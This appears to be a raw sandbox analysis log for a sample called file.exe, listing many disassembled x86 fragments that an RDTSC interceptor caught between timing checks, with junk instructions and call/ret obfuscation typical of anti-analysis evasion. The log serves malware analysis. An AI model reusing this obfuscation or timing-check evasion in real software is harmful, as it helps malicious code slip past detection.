Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B0EC second address: CA1C93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 13C84B78h 0x0000000d sub dword ptr [ebp+122D1FCCh], edx 0x00000013 push dword ptr [ebp+122D1711h] 0x00000019 mov di, dx 0x0000001c call dword ptr [ebp+122D2B9Bh] 0x00000022 pushad 0x00000023 jmp 00007F47DD40FB7Eh 0x00000028 stc 0x00000029 xor eax, eax 0x0000002b mov dword ptr [ebp+122D2A10h], ebx 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 cmc 0x00000036 mov dword ptr [ebp+122D2F36h], eax 0x0000003c pushad 0x0000003d jmp 00007F47DD40FB88h 0x00000042 jnp 00007F47DD40FB78h 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b mov dword ptr [ebp+122D2A10h], eax 0x00000051 mov esi, 0000003Ch 0x00000056 sub dword ptr [ebp+122D3984h], ebx 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 sub dword ptr [ebp+122D2B79h], edx 0x00000066 cmc 0x00000067 lodsw 0x00000069 mov dword ptr [ebp+122D3984h], edi 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jl 00007F47DD40FB7Ch 0x00000079 or dword ptr [ebp+122D1A7Ch], eax 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 jnl 00007F47DD40FB84h 0x00000089 jmp 00007F47DD40FB7Eh 0x0000008e nop 0x0000008f jnc 00007F47DD40FB84h 0x00000095 push eax 0x00000096 pushad 0x00000097 push eax 0x00000098 push edx 0x00000099 jmp 00007F47DD40FB80h 0x0000009e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B12A second address: E1B16D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F47DCFB8A3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F47DCFB8A42h 0x00000012 mov edx, ebx 0x00000014 pop ecx 0x00000015 push 00000000h 0x00000017 mov dh, 86h 0x00000019 call 00007F47DCFB8A39h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F47DCFB8A3Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B16D second address: E1B173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B173 second address: E1B177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B177 second address: E1B18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F47DD40FB76h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B18C second address: E1B1A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1A3 second address: E1B1EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F47DD40FB7Ch 0x00000015 popad 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jnp 00007F47DD40FB7Ch 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a jmp 00007F47DD40FB7Fh 0x0000002f push eax 0x00000030 push edx 0x00000031 jc 00007F47DD40FB76h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1EB second address: E1B1EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1EF second address: E1B28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov cx, ax 0x0000000b or si, B954h 0x00000010 push 00000003h 0x00000012 mov esi, 47CBA900h 0x00000017 xor dword ptr [ebp+122D22A9h], ebx 0x0000001d push 00000000h 0x0000001f mov ecx, 40D54793h 0x00000024 push 00000003h 0x00000026 xor dword ptr [ebp+122D1B55h], eax 0x0000002c push C54DA7BBh 0x00000031 pushad 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 push esi 0x00000036 pop esi 0x00000037 popad 0x00000038 jmp 00007F47DD40FB81h 0x0000003d popad 0x0000003e xor dword ptr [esp], 054DA7BBh 0x00000045 mov dword ptr [ebp+122D3B06h], eax 0x0000004b lea ebx, dword ptr [ebp+1244D011h] 0x00000051 push 00000000h 0x00000053 push edx 0x00000054 call 00007F47DD40FB78h 0x00000059 pop edx 0x0000005a mov dword ptr [esp+04h], edx 0x0000005e add dword ptr [esp+04h], 00000018h 0x00000066 inc edx 0x00000067 push edx 0x00000068 ret 0x00000069 pop edx 0x0000006a ret 0x0000006b push eax 0x0000006c jbe 00007F47DD40FBACh 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F47DD40FB88h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B32C second address: E1B330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B330 second address: E1B33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B33A second address: E1B33E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B33E second address: E1B34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B34B second address: E1B371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D39F0h], edi 0x00000011 push 00000000h 0x00000013 mov si, 756Ah 0x00000017 call 00007F47DCFB8A39h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B371 second address: E1B375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B375 second address: E1B37B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B37B second address: E1B3A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F47DD40FB76h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F47DD40FB84h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B3A7 second address: E1B3CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jmp 00007F47DCFB8A3Ch 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B3CE second address: E1B470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F47DD40FB85h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jp 00007F47DD40FB78h 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F47DD40FB78h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov ecx, eax 0x0000003a push 00000000h 0x0000003c mov edx, eax 0x0000003e push 00000003h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007F47DD40FB78h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 0000001Dh 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a jmp 00007F47DD40FB7Bh 0x0000005f sub dword ptr [ebp+122D2B95h], edi 0x00000065 call 00007F47DD40FB79h 0x0000006a push eax 0x0000006b push edx 0x0000006c jne 00007F47DD40FB7Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B470 second address: E1B47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F47DCFB8A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B47A second address: E1B4CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F47DD40FB85h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jbe 00007F47DD40FB82h 0x0000001b jne 00007F47DD40FB7Ch 0x00000021 mov eax, dword ptr [eax] 0x00000023 pushad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B599 second address: E1B59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B692 second address: E1B6C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F47DD40FB7Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 ja 00007F47DD40FB82h 0x00000018 mov eax, dword ptr [eax] 0x0000001a js 00007F47DD40FB7Eh 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B6C8 second address: E1B6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E22A second address: E2E22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C853 second address: E3C859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A79F second address: E3A7B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A7B5 second address: E3A7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A943 second address: E3A9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jne 00007F47DD40FB83h 0x0000000f jg 00007F47DD40FB91h 0x00000015 jmp 00007F47DD40FB7Bh 0x0000001a popad 0x0000001b pushad 0x0000001c push esi 0x0000001d jmp 00007F47DD40FB84h 0x00000022 jmp 00007F47DD40FB86h 0x00000027 pop esi 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AB12 second address: E3AB1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AC6A second address: E3AC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F47DD40FB83h 0x0000000b pop ebx 0x0000000c jnp 00007F47DD40FB92h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AF17 second address: E3AF32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A45h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B260 second address: E3B26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DD40FB7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B26E second address: E3B29D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47DCFB8A48h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnl 00007F47DCFB8A57h 0x00000013 pushad 0x00000014 jc 00007F47DCFB8A36h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B417 second address: E3B41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B85D second address: E3B888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jne 00007F47DCFB8A36h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F47DCFB8A44h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B888 second address: E3B88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E318CD second address: E318DC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F47DCFB8A38h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0430B second address: E04311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04311 second address: E04317 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C2A8 second address: E3C2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C6C6 second address: E3C6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F47DCFB8A36h 0x0000000c popad 0x0000000d je 00007F47DCFB8A3Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4109A second address: E410A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E410A0 second address: E41103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jng 00007F47DCFB8A4Dh 0x00000016 jmp 00007F47DCFB8A47h 0x0000001b jbe 00007F47DCFB8A38h 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F47DCFB8A47h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41103 second address: E4110D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F991 second address: E3F997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4522C second address: E45246 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45246 second address: E452A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007F47DCFB8A3Eh 0x0000000b jnp 00007F47DCFB8A36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F47DCFB8A48h 0x0000001a jmp 00007F47DCFB8A3Eh 0x0000001f jmp 00007F47DCFB8A3Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F47DCFB8A47h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49FFB second address: E49FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49FFF second address: E4A011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F47DCFB8A36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A011 second address: E4A015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A015 second address: E4A01B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A648 second address: E4A64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C79C second address: E4C7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C7A1 second address: E4C7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C7B4 second address: E4C7CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007F47DCFB8A36h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jc 00007F47DCFB8A36h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C7CF second address: E4C7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D2F1 second address: E4D2F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D2F7 second address: E4D2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D4AA second address: E4D4B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D913 second address: E4D93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F47DD40FB76h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F47DD40FB84h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D93A second address: E4D956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+122D2B90h], edx 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D956 second address: E4D95A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DE67 second address: E4DEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F47DCFB8A38h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov si, BEBDh 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F47DCFB8A38h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 pushad 0x00000047 push esi 0x00000048 sub dword ptr [ebp+122D3402h], eax 0x0000004e pop esi 0x0000004f jmp 00007F47DCFB8A46h 0x00000054 popad 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F47DCFB8A41h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E8BE second address: E4E933 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F47DD40FB7Fh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F47DD40FB78h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 xor dword ptr [ebp+122D1B51h], esi 0x0000002e jnc 00007F47DD40FB7Ch 0x00000034 push 00000000h 0x00000036 movzx edi, cx 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b push ebx 0x0000003c jmp 00007F47DD40FB7Eh 0x00000041 pop ebx 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 pop edx 0x00000046 popad 0x00000047 push eax 0x00000048 je 00007F47DD40FB7Eh 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E75E second address: E4E777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F75C second address: E4F82B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47DD40FB88h 0x00000008 jmp 00007F47DD40FB88h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jnl 00007F47DD40FB89h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F47DD40FB78h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 call 00007F47DD40FB86h 0x00000038 pop edi 0x00000039 mov dword ptr [ebp+122D3402h], ecx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edi 0x00000044 call 00007F47DD40FB78h 0x00000049 pop edi 0x0000004a mov dword ptr [esp+04h], edi 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc edi 0x00000057 push edi 0x00000058 ret 0x00000059 pop edi 0x0000005a ret 0x0000005b mov dword ptr [ebp+122D2438h], ebx 0x00000061 xchg eax, ebx 0x00000062 pushad 0x00000063 jno 00007F47DD40FB7Ch 0x00000069 jc 00007F47DD40FB7Ch 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5020A second address: E5020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E502C0 second address: E502C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
